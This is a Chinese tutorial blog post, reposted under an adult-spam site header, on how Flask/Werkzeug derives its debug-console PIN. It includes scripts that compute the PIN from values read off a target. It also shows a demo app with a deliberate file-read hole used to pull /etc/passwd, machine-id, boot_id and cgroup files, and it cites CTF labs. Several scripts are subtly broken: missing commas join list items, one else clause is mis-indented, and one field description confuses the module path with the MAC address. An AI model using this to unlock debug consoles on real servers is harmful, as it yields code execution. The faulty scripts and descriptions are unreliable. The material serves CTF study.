日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

最近搞SSTI,發現有的開發開了debug,由此想到了PIN,但一直沒有對這個點做一個深入剖析,今天就完整的整理Flask Debug PIN碼的生成原理與安全問題。

PIN是什么?

PIN是 Werkzeug(它是 Flask 的依賴項之一)提供的額外安全措施,以防止在不知道 PIN 的情況下訪問調試器。 您可以使用瀏覽器中的調試器引腳來啟動交互式調試器。

請注意,無論如何,您都不應該在生產環境中使用調試模式,因為錯誤的堆棧跟蹤可能會揭示代碼的多個方面。

調試器 PIN 只是一個附加的安全層,以防您無意中在生產應用程序中打開調試模式,從而使攻擊者難以訪問調試器。

——來自StackOverFlow回答

werkzeug不同版本以及Python/ target=_blank class=infotextkey>Python不同版本都會影響PIN碼的生成

但是PIN碼并不是隨機生成,當我們重復運行同一程序時,生成的PIN一樣,PIN碼生成滿足一定的生成算法

探尋PIN碼生成算法

筆者環境

  • Python 3.10.2
  • Flask 2.0.3
  • PyCharm 2021.3.3 (Professional Edition)
  • windows 10 專業版 21H2
  • Docker Desktop 4.7.0

先寫一個簡單的Flask測試程序

from flask import Flask
App = Flask(__name__)


@app.route("/")
def hello():
    return '合天網安實驗室-實踐型網絡安全在線學習平臺;真實環境,在線實操學網絡安全。'


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080, debug=True)

運行,控制臺狀態如下

 

瀏覽器如下則成功

 

接下來開始調試程序,順藤摸瓜找到生成PIN碼的函數

PIN碼是werkzeug的策略,先找到flask中導入werkzeug的部分

【----幫助網安學習,以下所有學習資料關注我,私信回復“資料”獲取----】

 ① 網安學習成長路徑思維導圖

 ② 60+網安經典常用工具包

 ③ 100+SRC漏洞分析報告

 ④ 150+網安攻防實戰技術電子書

 ⑤ 最權威CISSP 認證考試指南+題庫

 ⑥ 超1800頁CTF實戰技巧手冊

 ⑦ 最新網安大廠面試題合集(含答案)

 ⑧ APP客戶端安全檢測指南(Android/ target=_blank class=infotextkey>安卓+IOS)

調試

在run.app行下斷點,點擊調試

 

點擊步入

 

轉到了flask/app.py,直接Ctrl+F搜索werkzeug

 

發現程序從werkzeug導入了run_simple模塊,而且try部分有run app的參數

我們直接按住ctrl點擊run_simple進去看看

此時進入了seving.py,找到了負責Debug的部分,PIN碼是在debug狀態下才有的,那這個部分很有可能存有PIN碼生成部分,進去看看

 

此時進入了__init__.py,經過一番審計,先來看一看pin函數

 

主要是get_pin_and_cookie_name函數,進去看看

def get_pin_and_cookie_name(
    app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdigit():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
    username: t.Optional[str]

    try:
        # getuser imports the pwd module, which does not exist in google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name

返回的rv就是PIN碼,但這個函數核心是將列表里的值hash,我們不需要去讀懂這段代碼,只需要將列表里的值填上直接運行代碼就行。

生成要素:

username

通過getpass.getuser()讀取,通過文件讀取/etc/passwd

modname

通過getattr(mod,“file”,None)讀取,默認值為flask.app

appname

通過getattr(app,“name”,type(app).name)讀取,默認值為Flask

moddir

當前網絡的mac地址的十進制數,通過getattr(mod,“file”,None)讀取實際應用中通過報錯讀取

uuidnode

通過uuid.getnode()讀取,通過文件
/sys/class.NET/eth0/address得到16進制結果,轉化為10進制進行計算

machine_id

每一個機器都會有自已唯一的id,machine_id由三個合并(docker就后兩個):1./etc/machine-id
2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup

當這6個值我們可以獲取到時,就可以推算出生成的PIN碼

生成算法

修改一下就是PIN生成算法

import hashlib
from itertools import chain

probably_public_bits = [
    'root',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

# This information is here to make it harder for an attacker to
# guess the cookie name.  They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
    '2485377957890',  # str(uuid.getnode()),  /sys/class/net/ens33/address
    # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
    '861c92e8075982bcac4a021de9795f6e3291673c8c872ca3936bcaa8a071948b'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x: x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

然后這里還有一個點,python不同版本的算法區別

不同版本算法區別

3.6采用MD5加密,3.8采用sha1加密,所以腳本有所不同

3.6 MD5

#MD5
import hashlib
from itertools import chain
probably_public_bits = [
     'flaskweb'
     'flask.app',
     'Flask',
     '/usr/local/lib/python3.7/site-packages/flask/app.py'
]

private_bits = [
     '25214234362297',
     '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
   h.update(b'pinsalt')
   num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
   for group_size in 5, 4, 3:
       if len(num) % group_size == 0:
          rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
          break
       else:
          rv = num

print(rv)

3.8 SHA1

#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'root'
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.8/site-packages/flask/app.py'
]

private_bits = [
    '2485377581187',
    '653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

其實最穩妥的方法就是自己調試,把自己版本的生成PIN部分提取出來,把num和rv改成None,直接print rv就行

docker測試

本地docker在Windows上

我們將上面的測試代碼修改為下,加入文件讀取功能,并且return 0當我們傳值錯誤可出發debug模式

from flask import Flask, request
app = Flask(__name__)


@app.route("/")
def hello():
    return '合天網安實驗室-實踐型網絡安全在線學習平臺;真實環境,在線實操學網絡安全。'


@app.route("/file")
def file():
    filename = request.args.get('filename')
    try:
        with open(filename, 'r') as f:
            return f.read()
    except:
        return 0


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=9000, debug=True)

回到我們的環境,模塊路徑通過傳入錯誤文件名觸發報錯可得到,主要就是machine-id,其他部分直接出的就不用看了,docker環境只需要后倆

 


 

拼接起來,代入程序,直接運行

 

與環境里的一致

 

如果大家嫌開環境麻煩這里推薦兩個線上靶場,這倆都是計算PIN

  • [GYCTF2020]FlaskApp——BUUCTF
  • web801——CTFshow

分享到:
標簽:Flask PIN
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定